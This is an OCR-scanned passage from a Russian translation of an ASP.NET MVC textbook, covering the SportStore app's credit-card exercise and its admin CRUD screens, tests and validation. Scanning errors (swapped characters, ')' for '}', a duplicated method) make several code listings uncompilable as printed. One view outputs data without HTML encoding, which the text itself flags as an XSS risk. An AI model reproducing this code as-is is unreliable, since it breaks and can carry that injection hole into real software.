Если вы почувствовали уверенность в своих силах, попробуйте следующее. Большинство сайтов электронной коммерции выполняют обработку платежей кредитными картами, но почти все реализуют зто по-разному. API-интерфейсы варьируются в соответствии с платежной системой, на которую вы подписаны. Таким образом, имея следующую абстрактную службу:
public interface ICreditCardProcessor {
TransactionResult TakePayment(Creditcard card, decimal amount);
}
public class Creditcard {
public string CardNumber { get; set; }
public string CardholderName ( get; set; }
public string ExpiryDate { get; set; } public string SecurityCode { get; set; } }
public enum TransactionResult
{
Success, CardNumberlnvalid, CardExpired, TransactionDeclined
}
сможете ли вы расширить CartController для работы с ней? Это потребует выполнения перечисленных ниже шагов.
•	Обновление конструктора CartController для получения экземпляра ICreditCardProcessor.
•	Обновление /Views/Cart/CheckOut. aspx для запроса у покупателя подробной информации о кредитной карте.
•	Обновление метода действия Checkout контроллера CartController, обрабатывающего запросы POST, для отправки детальной информации о кредитной карте экземпляру ICreditCardProcessor. Если транзакция завершается неудачно, потребуется отобразить соответствующее сообщение и не отправлять заказ lOrderSubmitter.
Это демонстрирует сильные стороны компонентно-ориентированной архитектуры и 1оС. Появляется возможность проектировать, реализовывать и проверять поведение обработки кредитных карт CartController с помощью модульных тестов, не открывая веб-браузеров и не строя конкретную реализацию службы ICreditCardProcessor (а просто используя ее фиктивный экземпляр). Для запуска его в браузере можно реализовать какой-то вариант фиктивной службы FakeCreditCardProcessor и присоединить его к контейнеру 1оС в файле web.config. При желании можно построить несколько реализаций, служащих оболочками для реальных API-интерфейсов обработки кредитных карт, и переключаться между ними простым редактированием файла web.config.
Резюме
На этом та часть приложения SportStore, которая обращена к внешнему миру, практически завершена. Возможно, предложенное решение не претендует на то, чтобы составить конкуренцию порталу электронной торговли Amazon, но все же реализованы просматриваемый по страницам и по категориям каталог товаров, аккуратная маленькая корзина для покупок и простой процесс регистрации заказов.
174 Часть I. Введение в ASP.NET MVC
Архитектура с четко разделенной ответственностью означает возможность простого изменения поведения любой части приложения (например, оформления заказа или определения корректного адреса доставки) в одном очевидном месте, не беспокоясь о несогласованности и нежелательных последствиях. Можно легко изменять схему базы данных, не затрагивая остальной части приложения (лишь меняя отображения LINQ to SQL). Приложение довольно хорошо покрыто модульными тестами, что позволяет вовремя заметить, если какое-то поведение непреднамеренно будет нарушено.
В следующей главе предстоит завершить работу над приложением, добавив средства управления каталогом (т.е. CRUD) для администраторов, в том числе возможности обновления, сохранения и вывода изображений товаров.
ГЛАВА 6
Приложение SportStore: администрирование и финальные усовершенствования
К настоящему моменту большая часть приложения SportStore готова. Подведем краткие итоги.
•	В главе 4 была создана простая модель предметной области, включая класс Product с его основанным на базе данных репозиторием, а также установлены другие центральные части инфраструктуры, такие как контейнер IoC.
•	В главе 5 были реализованы элементы классического пользовательского интерфейса приложения электронного магазина: навигация, корзина для покупок и процесс оформления заказа.
В этой завершающей главе, посвященной приложению SportStore, основная задача связана с обеспечением администратора сайта инструментами обновления каталога товаров. Здесь будут рассмотрены следующий вопросы.
•	Предоставление пользователям возможности редактировать коллекции элементов (создание, чтение, обновление и удаление элементов модели предметной области) с проверкой правильности каждой операции.
•	Использование аутентификации с помощью форм (Form Authentication) и фильтров для защиты контроллеров и методов действий с представлением при необходимости соответствующих приглашений на вход.
•	Получение загружаемых файлов.
•	Вывод изображений, хранимых в базе данных SQL.
176 Часть I. Введение в ASP.NET MVC
Тестирование
До настоящего момента вы уже видели большой объем тестового кода и должны иметь представление о том, как применять методы разработки, управляемой тестами (TDD), при создании приложений ASP.NET MVC. Тестирование продолжается и в этой главе, но теперь оно будет более кратким.
В тех случаях, когда код тестов либо очевиден, либо слишком многословен, полные листинги приводиться не будут, а только несколько ключевых строк. Полные коды всех тестов входят в состав материалов, доступных для загрузки на веб-сайте издательства.
Добавление средств управления каталогом
В соответствие с общепринятыми соглашениями относительно управления коллекциями элементов, пользователям должны быть предоставлены два типа экранов: список и редактор (рис. 6.1). Вместе они позволяют пользователю создавать, читать, обновлять и удалять элементы коллекции. (Эти средства известны под общей аббревиатурой CRUD.)
List screen
item	Actions
Basketball	Edit	I	Delete
Swimming shorts	Edit	I	Delete
Running shoes	Edit	I	Delete
Add new item
Edit item: Basketball
Name:	Basketball
Description:	Round and orange
Category:	Ball games
Price ($):	25.00
Save changes Cancel
Рис. 6.1. Эскиз пользовательского интерфейса CRUD для каталога товаров
CRUD — одно иэ тех средств, которые довольно часто приходится реализовывать веб-разработчикам. На самом деле настолько часто, что среда Visual Studio старается помочь в этом, предоставляя возможность автоматической генерации связанных с CRUD контроллеров и шаблонов представлений для специальных объектов модели.
На заметку! В этой главе встроенные шаблоны Visual Studio будут использоваться лишь иногда. В большинстве случаев мы будем редактировать, сокращать, а то и вообще полностью заменять автоматически сгенерированный код CRUD, делая его более сжатым и лучше подходящим для решения конкретной задачи. В конце концов, приложение SportsStore претендует быть вполне реалистичным приложением, а не демонстрационным, специально созданным для того, чтобы продемонстрировать ASRNET MVC с лучшей стороны.
Создание класса AdminController — места для размещения средств CRUD
Давайте реализуем простой пользовательский интерфейс CRUD для каталога товаров SportsStore. Вместо перегруженного ProductsController создадим новый класс контроллера по имени AdminController (щелкнув правой кнопкой мыши на папке /Controllers и выбрав в контекстном меню пункт Add1^ Controller (Добавить1^ Контроллер)).
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 177
На заметку! Решение создать новый контроллер вместо расширения ProductsController продиктовано сугубо личными предпочтениями. На самом деле нет никакого ограничения на количество методов действий, которые можно включать в один контроллер. Как и в объектно-ориентированном программировании, вы вольны организовывать методы и их ответственность по своему усмотрению. Разумеется, вещи следует сохранять в хорошо организованном порядке, поэтому помните о принципе одиночной ответственности и выделяйте новый контроллер при переключении на другой сегмент приложения.
Если вам интересно посмотреть на код CRUD, сгенерированный Visual Studio, перед щелчком на кнопке Add (Добавить) отметьте флажок Add action methods for Create, Update and Delete scenarios (Добавить методы действий для сценариев создания, обновления и удаления). Это приведет к генерации класса, который выглядит так, как показано ниже1:
public class AdminController : Controller {
public ActionResult Index() { return View(); }
public ActionResult Details(int id) { return View(); )
public ActionResult Create() { return View(); }
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult Create(FormCollection collection) {
try {
// TODO: добавить сюда логику вставки return RedirectToAction("Index");
)
catch { return View();
)
}
public ActionResult Edit(int id) { return View(); ) [AcceptVerbs(HttpVerbs.Post)] public ActionResult Edit(int id, FormCollection collection) {
try {
// TODO: добавить сюда логику обновления return RedirectToAction("Index");
)
catch {
return View () ;
)
)
)
Автоматически сгенерированный код не совсем подходит для приложения SportsStore. Ниже перечислены причины.
• Пока еще не очевидно, нужны ли все эти методы. Действительно ли понадобится действие Details? Наличие заглушек для всех методов действий в автоматически сгенерированном коде является вполне разумным, однако это противоречит принципам TDD. При разработке, управляемой тестами, полагается, что методы действий не должны даже существовать до тех пор, пока с помощью тестов не будет установлено, что они действительно нужны, и должны вести себя каким-то определенным образом.
С целью экономии пространства некоторые комментарии и переносы строк удалены.
178 Часть I. Введение в ASP.NET MVC
• Мы можем написать более ясный код, чем сгенерированный автоматически, используя привязку модели для получения отредактированных экземпляров Product в качестве параметров методов действия. Кроме того, мы определенно не хотим перехватывать и поглощать все возможные исключения, как это делает Edit () по умолчанию, поскольку это приведет к утере и игнорированию важной информации, такой как ошибки, сгенерированные базой данных при попытке сохранения в ней записи.
Речь вовсе не идет о том, что использование кода, генерируемого Visual Studio, — всетда плохо. Фактически всю систему генерации кода контроллеров и представлений можно построить с помощью одного лишь мощного механизма шаблонов Т4. Это позволяет создавать и распространять шаблоны кода, которые идеально подходят для удовлетворения существующих соглашений и принципов проектирования приложений. Вдобавок это может быть замечательным путем для быстрого вовлечения новых разработчиков в принятый у вас процесс кодирования. Однако пока что мы будем писать код вручную, потому что это не трудно, а также потому, что это даст вам лучшее понимание работы ASP.NET MVC.
Итак, удалите все автоматически сгенерированные методы действий из Admincontroller и затем добавьте зависимость 1оС для репозитория товаров, как показано ниже:
public class AdminController : Controller {
private IProductsRepository productsRepository;
public AdminController (IProductsRepository productsRepository) {
this .productsRepository = productsRepository;
}
}
Для поддержки экрана списка (рис. 6.1) понадобится добавить метод действия, который отобразит все товары. Следуя соглашениям ASP.NET MVC, назовем его Index.
Тестирование: действие index
Действие Index контроллера AdminController может быть довольно простым. Все, что оно должно делать — это визуализировать представление, передавая ему все товары из репозитория. Выразите это требование, добавив в проект Tests новый класс [TestFixture] по имени AdmincontrollerTests:
[TestFixture]
public class AdminControllerTests {
// Используем этот репозиторий везде в AdmincontrollerTests private Moq.Mock<IProductsRepository> mockRepos;
// Этот метод будет вызываться перед прогоном каждого теста [Setup]
public void Setup()
[
// Создать новый макет репозитория на 50 товаров List<Product> allProducts = new List<Product>(); for (int i = 1; i <= 50; i++)
allProducts.Add(new Product (ProductID = i, Name = "Product " + i)); mockRepos = new Moq.Mock<IProductsRepository>();
mockRepos.Setup(x => x.Products)
.Returns(allProducts.AsQueryable());
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 179
[Test]
public void Index_Action_JLists_All_Products() {
// Подготовка
AdminController controller = new AdminController(mockRepos.Object);
// Действие
ViewResult results = controller.Index();
/ / Утверждение: визуализировать представление по умолчанию Assert.IsEmpty(results.ViewName);
// Утверждение: проверить, что включены все товары
var prodsRendered = (List<Product>)results.ViewData.Model;
Assert.AreEqual(50, prodsRendered.Count);
for (int i = 0; i < 50; i++)
Assert.AreEqual("Product " + (i + 1), prodsRendered[i].Name);
}
}
На этот раз мы создаем единственный фиктивный репозиторий товаров (mockRepos, содержащий 50 наименований товаров) для многократного использования во всех тестах AdmincontrollerTests (в отличие от CartControllerTests, где для каждого теста конструируется отдельный фиктивный репозиторий). Здесь также отсутствует понятие “правильного” или “неправильного” подхода, а просто демонстрируются различные варианты, чтобы вы могли выбрать из них тот, который больше подходит в конкретной ситуации.
Этот тест определяет потребность в методе действия Index () класса Admincontroller. Другими словами, отсутствие упомянутого метода приведет к ошибке компиляции. Давайте добавим этот метод.
Визуализация списка товаров из репозитория
Добавьте в контроллер AdminController метод действия по имени Index:
public ViewResult Index()
{
return View(productsRepository.Products.ToList());
}
Такого простого кода вполне достаточно, чтобы тест Index_Action_Lists_All_ Products () прошел успешно. Теперь понадобится только создать подходящий шаблон представления, который визуализирует список этих товаров, и экран списка CRUD будет готов.
Реализация шаблона представления списка товаров
Прежде чем добавить новый шаблон представления для этого действия, давайте создадим новую мастер-страницу для всего административного раздела. В окне Solution Explorer щелкните правой кнопкой мыши на папке /Views/Shared и выберите в контекстном меню пункт Addd>New Item (Добавить1^ Новый элемент). В открывшемся всплывающем окне выберите шаблон MVC View Master Page (Мастер-страница представления MVC) и назовите его Admin .Master. Поместите в него следующую разметку:
<%@ Master Language="C#" Inherits="System.Web.Mvc.ViewMasterPage" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
180 Часть I. Введение в ASP.NET MVC
<head runat="server">
<link rel="Stylesheet" href="~/Content/adminstyles.css" />
<title><asp:ContentPlaceHolder ID="TitleContent" runat-"server" /></title> </head>
<body>
<asp:ContentPlaceHolder ID="MainContent" runat="server" />
</body>
</html>
Эта мастер-страница ссылается на файл CSS, поэтому создайт е такой файл по имени adminstyles . css в папке /Content со следующим содержимым:
BODY, TD { font-family: Segoe UI, Verdana }
Hl ( padding: .5em; padding-top: 0; font-weight: bold;
font-size: 1.5em; border-bottom: 2px solid gray; }
DIVftcontent { padding: .9em; )
TABLE.Grid TD, TABLE.Grid TH { border-bottom: Ipx dotted gray; text-align:left; )
TABLE.Grid { border-collapse: collapse; width:100%; )
TABLE.Grid TH.NumericCol, Table.Grid TD.NumericCol { text-align: right; padding-right: lem; }
DIV.Message { background: gray; color:White; padding: .2em; margin-top:,25em; } .field-validation-error ( color: red; }
.input-validation-error { border: Ipx solid red; background-color: #ffeeee; } .validation-summary-errors { font-weight: bold; color: red; }
После создания мастер-страницы можно добавить шаблон для действия Index контроллера Admincontroller. Щелкните правой кнопкой мыши внутри метода действия и выберите в контекстном меню пункт Add View (Добавить представление). В открывшемся окне конфигурируйте новый шаблон представления, как показано на рис. 6.2. Обратите внимание, что в качестве мастер-страницы выбрано Admin.Master (а не Site.Master, как обычно). Также в этом случае мы предлагаем Visual Studio предварительно заполнить новое представление разметкой для визуализации списка экземпляров Product.
На заметку! Когда в списке View content (Содержимое представления) выбран вариант List
(Список), среда Visual Studio неявно предполагает, что классом данных представления должен быть 1ЕпитегаЫе<вашКласс>. Это значит, что набирать IEnumerable<. . .> вручную не придется.
Add View	ЙС
’ View-name:
i Index
'	Create a partial view f.ascxj
;	Create a strongly-typed; view
•	view data class
DcmainModel.Entities.Prcduct
!	View content
List
Select master page
-	~.-Vtew5/Shared 'Admin. Master
'	CcntentPlaceHolderlD:
MainContent
Add Caned
Рис. 6.2. Установки для представления Index
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 181
После щелчка на кнопке Add (Добавить) Visual Studio просматривает определение класса Product и затем генерирует разметку для визуализации списка экземпляров Product в виде таблицы с отдельным столбцом для каждого свойства класса. Разметка по умолчанию несколько многословна и нуждается в настройке, чтобы соответствовать существующим правилам CSS. Отредактируйте ее следующим образом:
<%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/Admin.Master"
Inherits="System.Web.Mvc.ViewPage<IEnumerable<DomainModel.Entities.Product»" %>
<asp:Content ContentPlaceHolderID="TitleContent” runat="server"> Admin : All Products
</asp:Content>
<asp:Content ContentPlaceHolderID="MainContent" runat=" server»
<hl>All products</hl>
<table class="Grid">
<tr>
<th>ID</th>
<th>Name</th>
<th class="NumericCol">Price</th>
<th>Actions</th>
</tr>
<% foreach (var item in Model) { %>
<tr>
<td><%= item.ProductID %></td>
<td><%= item.Name %></td>
<td class="NumerlcCol"><%= item.Price.ToString("c") %></td> <td>
<%- Html.ActionLink("Edit", "Edit", new {item.ProductID}) %>
<%= Html.ActionLink("Delete", "Delete", new {item.ProductID})%> </td>
</tr>
</table>
<p><%= Html.ActionLink("Add a new product", "Create")%></p>
</asp:Content>
На заметку! Этот шаблон представления не осуществляет HTML-кодирование детальной информации о товарах в процессе генерации разметки. Это нормально, если редактировать эту информацию разрешено только администраторам. Однако если отправка или редактирование информации о товарах доступна неизвестным посетителям, очень важно использовать вспомогательный метод Html.Encode () для блокирования атакХББ. Более подробные сведения об этом ищите в главе 13.
Чтобы проверить, все ли работает, запустите приложение в режиме отладки (нажав <F5>) и введите в адресной строке браузера http: / /localhost:порт/Admin/Index, как показано на рис. 6.3.
Итак, экран со списком готов. Однако его ссылки на редактирование/удаление/добавление пока не работают, потому что они указывают на методы действий, которые еще не созданы. Давайте создадим их.
Построение редактора товара
Для того чтобы предоставить средства создания и обновления, добавим экран редактирования товара, подобный показанному в правой части рис. 6.1. Эта задача разделяется на две части: во-первых, отображение экрана редактирования и, во-вторых, обработка отправки введенных пользователем данных.
182 Часть I. Введение в ASP.NET MVC
Рис. 6.3. Экран со списков товаров, предназначенный для администратора
Как и в предыдущих примерах, мы создадим один метод, реагирующий на запросы GET и визуализирующий начальную форму, и второй метод, реагирующий на запросы POST и обрабатывающий отправки формы. Второй метод должен записывать входные данные в репозиторий и перенаправлять пользователя обратно на действие Index.
Тестирование: действие Edit
Если вы следуете методике TDD, то наступил момент добавления теста для перегрузки действия Edit, реагирующей на GET-запросы. Потребуется проверить, что, например, Edit (17) визуализирует представление по умолчанию, передавая Product 17 из фиктивного репозитория в качестве объекта модели, подлежащего отображению. Фаза утверждения теста должна включать приблизительно такой код:
Product renderedProduct = (Product)result.ViewData.Model;
Assert.AreEqual(17, renderedProduct.ProductID);
Assert.AreEqual("Product 17", renderedProduct.Name);
Из-за попытки обращения к пока еще несуществующему методу Edit () KnaccaAdminController этот тест приведет к ошибке компиляции, тем самым выдвигая требование создать этот метод Edit О . При желании можно сначала создать заглушку метода Edit О , которая просто приведет к генерации исключения NotlmplementedException — зто удовлетворит компилятор и IDE-среду, оставив полосу красного цвета в графической среде NUnit (что будет напоминать о необходимости соответствующей реализации метода Edit ()). Создавать или нет такую заглушку метода — вопрос персональных предпочтений. Обычно ее создают те, кого раздражают частые ошибки компиляции.
Полный код этого теста входит в состав материалов, доступных для загрузки на веб-сайте издательства.
Все, что должен делать Edit () — это извлечь запрошенный товар и передать его в виде Model некоторому представлению. Ниже приведен код, который понадобится добавить в класс Admincontroller:
[AcceptVerbs(HttpVerbs.Get)]
public ViewResult Edit(int productld)
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 183
Product product = (from р in productsRepository.Products where p.ProductID == productld select p).First ();
return View(product);
}
Создание пользовательского интерфейса редактора товаров
Конечно, для этого понадобится добавить представление. Добавьте новый шаблон представления для действия Edit, указав Admin.Master в качестве его мастер-страницы и сделав его строго типизированным для класса Product.
При желании в списке View content можно выбрать вариант Edit (Редактор), что заставит Visual Studio сгенерировать базовое представление для редактирования Product. Однако полученная в результате разметка снова получается несколько многословной, и большая ее часть просто не нужна. Либо установите View content в Empty (Пусто), либо отредактируйте сгенерированную разметку, приведя ее к следующему виду:
<%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/Admin.Master" Inherits="System.Web.Mvc.ViewPage<DomainModel.Entities.Product>" %>
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"> Admin : Edit <%= Model.Name %>
</asp:Content>
<asp:Content ContentPlaceHolderID="MainContent" runat="server"> <hl>Edit <%= Model.Name %></hl>
<% using (Html.BeglnForm ()) {%>
<%= Html.Hidden("ProductID") %>
<p>
Name: <%= Html.TextBox("Name") %>
<div><%= Html.ValidationMessage("Name") %></div>
</p>
<p>
Description: <%= Html.TextArea("Description", null, 4, 20, null) %>
<div><%= Html.ValidationMessage("Description") %></div>
</p>
<p>
Price: <%= Html.TextBox("Price") %>
<div><%= Html.ValidationMessage("Price") %></div>
</p>
<p>
Category: <%= Html.TextBox("Category") %>
<div><%= Html.ValidationMessage("Category") %></div>
</p>
<input type="submit" value="Save" /> &nbsp;&nbsp;
<%=Html.ActionLink("Cancel and return to List", "Index") %>
<O -1 O_x О J
</asp:Content>
Это не самый изящный дизайн из когда-либо созданных, но над графическим оформлением можно будет поработать позже. Чтобы добраться до этой страницы, необходимо перейти на экран /Admin/Index (All Products (Все товары)) и щелкнуть на любой из ссылок редактирования (Edit). Откроется только что созданный редактор товара (рис. 6.4).
Обработка данных, отправляемых редактором
Если вы отправите эту форму, то получите ошибку 404 Not Found (не найдено), потому что метод действия под названием Edit (), который должен реагировать на запросы POST, пока не существует. Следующей задачей будет его добавление.
184 Часть I. Введение в ASP.NET MVC
Рис. 6.4. Редактор товара
Тестирование: отправка данных из редактора
Перед реализацией перегрузки метода действия Edit О , реагирующей на запросы POST, добавьте в AdminControilerTests новый тест, который определит и проверит поведение нового действия. Необходимо проверить, что при получении экземпляра Product метод сохранит его в репозитории, вызвав productsRepository. SaveProduct () (пока не существующий метод). Затем посетитель должен быть перенаправлен обратно к действию index.
Ниже приведен код теста:
[Test]
public void Edit_Action_Saves_Product_To_Repository_And_Redirects_To Index() {
// Подготовка
AdminController controller = new AdminController(mockRepos.Object); Product newProduct = new Product();
// Действие
var result = (RedirectToRouteResult)controller.Edit(newProduct);
// Утверждение: товар сохранен в репозитории и произошло перенаправление к Index mockRepos.Verify(х => х.SaveProduct(newProduct));
Assert.AreEqual("Index", result.RouteValues["action"]);
}
Этот тест вызовет сразу несколько ошибок компиляции: пока еще нет перегрузки Edit (), принимающей экземпляр Product в качестве параметра, и IProductsRepository не определяет метода SaveProduct (). Сейчас мы восполним эти недостатки.
Можно также добавить тест, определяющий поведение при недействительных входных данных — метод действия должен заново отобразить представление по умолчанию. Для эмуляции недействительных данных добавьте в фазу подготовки теста следующую строку:
controller.Modelstate.AddModelError("SomeProperty", "Got invalid data");
Далеко продвинуться в сохранении обновленного Product в репозитории не удастся, пока интерфейс iProductRepository не предоставит некоторый метод сохранения (и если вы придерживаетесь методики TDD, то последний тест вызовет ошибку компиляции, связанную с применением метода SaveProduct ()).
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 185
Обновите определение IproductRepository:
public interface IProductsRepository {
IQueryable<Product> Products { get; } void SaveProduct(Product product);
}
Теперь вы получите еще больше ошибок компилятора, потому что ни одна из конкретных реализаций — ни FakeProductsRepository, ни SqlProductsRepository — не включает в себя метода SaveProduct ().
Чтобы избежать ошибок, в FakeProductsRepository можно добавить заглушку, которая вызовет генерацию исключения NotlmplementedException, но для SqlProductsRepository понадобится действительная реализация:
public void SaveProduct(Product product) {
// Если это новый товар, просто присоединить его к DataContext
if (product.ProductID == 0)
productsTable.InsertOnSubmit(product);
else {
// Если обновляется существующий товар, поручить
// DataContext сохранение этого экземпляра productsTable.Attach(product);
// Также поручить DataContext обнаружение изменений, // произошедших с момента последнего сохранения productsTable.Context.Refresh(RefreshMode.KeepCurrentValues, product); }
productsTable.Context.SubmitChanges();
}
Теперь вы готовы реализовать перегрузку метода действия Edit (), реагирующую на запросы POST, в классе AdminController. Шаблон представления в /Views/Admin/ Edit .aspx имеет элементы управления вводом с именами, соответствующими свойствам Product, поэтому, когда форма передает данные методу действия, можно воспользоваться привязкой модели для получения экземпляра Product как параметра метода действия. Все что понадобится сделать — это сохранить его в репозитории:
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult Edit(Product product) {
if (Modelstate.IsValid) {
productsRepository.SaveProduct(product);
TempData["message"] = product.Name + " has been saved."; return RedirectToAction("Index");
}
else // Возникла ошибка проверки достоверности;
// отобразить заново то же представление return View(product);
}
Отображение подтверждающего сообщения
Обратите внимание, что после сохранения данных это действие добавляет сообщение с подтверждением в коллекцию TempData. Но что собой представляет TempData? Это новая концепция ASP.NET MVC (в традипионном WebForms нет аналога TempData, хотя есть на других платформах веб-разработки). TempData подобна коллекции Session, но с тем отличием, что ее значения сохраняются только в течение одного HTTP-запроса, по-
186 Часть I. Введение в ASP.NET MVC
еле чего отбрасываются. Подобным образом TempData автоматически очищается, упрощая сохранение данных (например, сообщений о состоянии) между перенаправлениями HTTP, но не дольше.
Поскольку значение TempData ["message"] будет храниться строго для одного следующего запроса, его можно отобразить после перенаправления HTTP 302, добавив в шаблон мастер-страницы /Views/Shared/Admin .Master следующий код:
<body>
<% if (TempData["message"] != null) { %>
<div class="Message"X%= Html .Encode (TempData["message"]) %X/div>
<% ) %>
<asp:ContentPlaceHolder ID="MainContent" runat="server" />
</body>
Опробуйте модифицированный редактор товара в браузере. Теперь можно обновлять записи Product, получая каждый раз подтверждающее сообщение (рис. 6.5).
Рис. 6.5. Сохранение отредактированной записи о товаре и вывод подтверждающего сообщения
Добавление проверки достоверности
Как всегда, не стоит забывать о проверке достоверности введенных данных. Пока что беспрепятственно можно вводить пустые имена товаров и отрицательные цены. Мы исправим это таким же образом, как и при реализации проверки достоверности в ShippingDetails в главе 5.
Добавьте в класс Product код, реализующий интерфейс IDataErrorlnfo:
public class Product : IDataErrorlnfo
{
// ... остальной код оставить без изменений ...
public string this[string propName] {
get {
if ((propName --= "Name") && string. IsNullOrEmpty (Name) )
return "Please enter a product name";
if ((propName == "Description") && string.IsNullOrEmpty(Description)) return "Please enter a description";
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 187
if ((propName == "Price") && (Price < 0)) return "Price must not be negative";
if ((propName == "Category") && string.IsNullOrEmpty(Category)) return "Please specify a category";
return null;
}
}
public string Error { get { return null; } } // He обязательно
Интерфейс IDataErrorlnfо будет обнаружен и использован системой привязки модели ASP.NET MVC. Поскольку шаблон представления Edit.aspx визуализируется вспомогательным методом Html.ValidationMessage () для каждого свойства модели, любое сообщение об ошибке будет отображаться рядом с элементом управления, в котором обнаружена ошибка (рис. 6.6). (Это альтернатива вспомогательному методу Html .ValidationSummary (), который служит для отображения всех сообщений в одном месте.)
' Admin: Edit Green КзуаЕ - Internet Е... Jal® http:/'lot3lhosft568i5rAdrr j X j
Edit Green Kayak	i
I Name: Green Kayak
А Ёсес for cr.e
.- Descriptton:
I Price M	~~ i
Price must not be negative
Category.' <	<
Please specify a -category.
Ssve Cancel and return to List
Рис. 6.6. Правила проверки достоверности теперь действуют, а сообщения об ошибках отображаются рядом с соответствующими элементами управления
Можно также обновить SqlProductsRepository, обеспечив гарантию, что он никогда не сохранит неверный экземпляр Product в базе данных, даже если в будущем этого потребует некоторый некорректно функционирующий контроллер. Добавьте к SqlProductsRepository новый метод EnsureValid () и обновите его метод SaveProduct (), как показано ниже:
public void SaveProduct(Product product) {
EnsureValid(product, "Name", "Description", "Category", "Price");
// ... остальной код оставить без изменений ...
)
public void SaveProduct(Product product) {
EnsureValid(product, "Name", "Description", "Category", "Price");
// ... остальной код оставить без изменений ...
}
188 Часть I. Введение в ASP.NET MVC
private void EnsureValid(IDataErrorlnfo validatable, params string[] properties) {
if (properties.Any(x => validatable [x] != null))
throw new InvalidOperationException("The object is invalid.");
// Недопустимый объект
J
Создание новых товаров
Возможно, вы уже заметили, что экран со списком, предназначенный для администратора, содержит ссылку Add a new product (Добавить новый товар). Сейчас щелчок на ней вызывает ошибку 404 Not Found (не найдено), потому что ссылка указывает на метод действия Create, который еще не существует.
Давайте создадим метод действия Create (), который будет добавлять новые объекты Product. Все, что для этого потребуется — визуализировать чистый новый объект Product на существующем экране редактирования. Когда пользователь щелкает на кнопке Save (Сохранить), существующий код должен сохранить новый объект Product. Таким образом, чтобы визуализировать пустой объект Product в существующем представлении /Views/Admin/Edit.aspx, добавьте в AdminController следующий код:
public ViewResult Created
{
return View("Edit", new Product());
}
Разумеется, эту реализапию можно предварить соответствующим модульным тестом. Метод Create () не визуализирует своего представления по умолчанию, а вместо этого визуализирует существующее представление /Views/Admin/Edit. aspx. Это показывает, что для метода действия совершенно приемлемо визуализировать представление, которое обычно ассоциировано с другим методом действия, но если вы запустите приложение, то обнаружите, что это также иллюстрирует связанную с этим проблему.
Обычно ожидается, что представление /Views/Admin/Edit. aspx визуализирует HTML-форму, которая посылает данные действию Edit контроллера AdminController. Однако /Views/Admin/Edit. aspx визуализирует свою HTML-форму вызовом вспомогательного метода Html. BeginForm () без передачи ему параметров, а это на самом деле означает, что форма должна передать данные по URL, который посетил пользователь. Другими словами, при визуализации представления Edit из действия Create форма HTML отправит данные действию Create, а не Edit.
В этом случае необходимо, чтобы данные формы передавались действию Edit, поскольку в него была помещена логика сохранения экземпляров Product в репозитории. Модифицируйте /Views/Admin/Edit. aspx, явно указав, что форма должна отправляться действию Edit:
<% using (Html.BeginForm("Edit", "Admin")) ( %>
Теперь функциональность Create будет работать правильно, что можно видеть на рис. 6.7. Проверка достоверности также будет работать, так как она закодирована в действии Edit.
Удаление товаров
Удаление товаров столь же тривиально. На экране списка товаров для каждого товара уже предусмотрена ссылка на пока что не реализованное действие Delete.
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 189
Рис. 6.7. Добавление нового товара
Тестирование: действие Delete
Если вы управляете разработкой с помощью тестов, потребуется написать тест, утверждающий необходимость реализации метода действия Delete (). Метод Delete () должен вызывать некоторый метод удаления товара на интерфейсе IProductsRepository. Код теста может выглядеть следующим образом:
[Test]
public void Delete_Action_Deletes_Product_Then_Redirects_To_Index() {
// Подготовка
AdminController controller = new AdminController(mockRepos.Object);
Product prod24 = mockRepos.Object.Products.First(p => p.ProductID == 24);
// Действие: попытка удаления товара 24
RedirectToRouteResult result = controller.Delete (24);
// Утверждение
Assert.AreEqual("Index", result.RouteValues["action"]);
Assert.AreEqual("Product 24 has been deleted", // Товар 24 удален controller.TempData["message"]);
mockRepos.Verify(x => x.DeleteProduct(prod24)); }
Обратите внимание на использование метода .Verify () фиктивного репозитория для проверки того, что AdminController действительно вызвал DeleteProduct () С корректным параметром. Этот метод также проверяет факт сохранения соответствующего уведомления в TempData [ "message" ] (вспомните: мастер-страница /Views/Shared/Admin .Master уже умеет отображать сообщения подобного рода).
Чтобы все это заработало, прежде всего, понадобится добавить в интерфейс IProductsRepository метод удаления:
public interface IProductsRepository {
IQueryable<Product> Products ( get; }
void SaveProduct(Product product);
void DeleteProduct(Product product);
1
190 Часть I. Введение в ASP.NET MVC
Ниже показана реализация метода для SqlProductsRepository (в FakeProductsRepository можно просто сгенерировать исключение NotlmplementedException):
public void DeleteProduct(Product product)
(
productsTable.DeleteOnSubmit(product);
productsTable.Context.SubmitChanges();
}
Ссылки Delete на экране списка товаров уже созданы. Все, что осталось сделать — реализовать метод действия по имени Delete ().
Чтобы добиться компиляции и прохождения теста, реализуйте метод действия Delete () на AdminController, как показано ниже. Результат работы этой функциональности показан на рис. 6.8.
public RedirectToRouteResult Delete(int productld)
{
Product product = (from p in productsRepository.Products
where p.ProductID == productld
select p) .First () ;
productsRepository.DeleteProduct(product) ;
TempData["message”] = product.Name + " has been deleted";
return RedirectToAction("Index”);
}
Admin: Ail Products - Internet Explorer	!
	
* i'fc http:/7localhcrt56815/Admtn/bidec	жI4# i X ;	
All products i ID	Name	Price	Actions 1	Green Kayak	$275.00	Edit Deiete	; 2	Lifejacket	$48.95	Edit Delete	: 3	Soccer ЬаЛ	$19.50	Edit Delete	I 4	Shin pads	$11.99	Edit Delete	j 5	Stadium	$8,950.00	Edit Deiete	! 6	Thinkingcap	$16.00	Edit Delete	5 7	Concealed buzzer	$4,99	Edit Delete	j 8	Human chess board __	$75.00	Edit Delete	1 9	Bling-bling King	$1,200.00	Edit Delete	/\ 10	Something new	$3,00	Edit De^e	j Add a new product	
$ Admm: All Products - Internet Explore		
у"’ !t?L bttp;//tocafho5fc56815/Adrnin/Index		.-1/4*'
		
ffl 5.-nnew iwH. brer. drirtad		
.	1 /АН products		
ID Name	Price	Actions
